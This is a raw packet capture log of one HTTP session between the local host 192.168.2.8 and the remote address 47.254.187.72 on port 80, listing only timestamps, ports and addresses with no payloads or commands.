Jan 2, 2025 20:20:03.107686996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.107722044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.107722044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.107770920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108196020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108206987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108227015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108237982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108249903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108273029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108273029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108304977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108310938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108325005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108340979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108360052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108362913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108372927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108386040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108398914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108411074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108411074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108417988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108422995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108433008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108443975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108459949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108462095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108473063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108477116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108491898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108503103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108509064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108517885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108531952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108542919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108556986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108568907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108568907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108568907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108578920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108592033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108612061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108613014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108632088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108640909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108644962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108661890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108664989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108679056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108690023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108702898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108702898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108715057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108731985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108793974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108797073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108812094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108824968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108835936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108849049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108861923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108872890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108872890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108882904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108894110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108901024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108906031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108918905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108917952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108941078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108952045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108959913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108973026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108983994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.108984947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108984947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.108995914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109002113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109008074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109019995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109031916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109038115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109038115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109042883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109055996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109072924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109076023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109095097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109107018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109118938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109128952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109128952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109138012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109150887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109159946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109215021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109251022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109638929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109649897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109661102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109673977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109685898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109697104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109708071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109709024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109708071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109781027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109781027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109813929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109824896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109837055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109849930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109862089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109874010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109877110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109886885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109896898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109899998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109914064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109941006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109945059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109945059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.109954119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109966040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109977961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.109991074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110002995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110016108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110028028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110029936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110029936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110029936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110042095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110054016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110068083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110080004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110085011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110085011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110085011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110096931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110119104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110122919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110133886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110146046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110155106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110155106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110157967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110181093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110193968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110205889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110207081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110215902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110223055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110230923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110241890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110256910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110259056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.110286951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110286951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.110313892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.183105946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183119059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183136940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183159113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183172941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183185101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183201075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.183201075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.183218956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183233023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183240891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.183240891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.183247089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.183278084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.183325052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.199166059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199230909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.199244022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199259043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199270964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199284077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199296951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199322939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.199322939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199322939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.199337006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.199341059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199397087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.199929953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199959993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199971914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.199990988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200030088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200030088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200036049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200058937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200071096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200083017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200094938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200107098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200129986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200129986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200129986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200158119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200159073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200193882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200205088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200206041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200231075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200241089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200241089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200243950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200258970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200270891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200297117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200309992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200309992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200329065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200356007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200371027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200392962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200421095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200421095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200443029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200453043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200464964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200479031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200519085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200519085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200539112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200551987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200573921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200586081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200597048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200599909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200611115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200623989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200642109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200651884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200655937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200669050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200680017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200691938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200704098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200707912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200736046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200736046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200757027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200767040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200767040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200782061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200794935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200798035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200807095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200822115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200834036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200860023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200862885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200862885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200862885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200874090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200886965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200898886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200906992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200906992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200918913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200932980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200942039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.200946093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200958967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200983047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.200994015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201006889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201016903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201016903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201016903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201020002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201042891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201062918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201062918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201078892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201082945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201082945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201092005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201105118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201121092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201129913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201139927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201149940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201154947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201163054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201174974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201186895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201198101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201200962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201215029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201229095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201245070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201251030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201251030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201261044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201267004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201281071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201281071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201299906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201313972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201313972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201327085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201350927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201354980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201354980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201364994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201385975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201397896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201414108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201426029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201426983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201441050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201446056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201453924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201467037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201486111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201487064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201486111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201508999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201510906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201527119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201539040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201551914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201564074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201575041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201575041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201575041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201585054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201592922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201597929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201611996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201626062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201637030 CET	80	49704	47.254.187.72	192.168.2.8
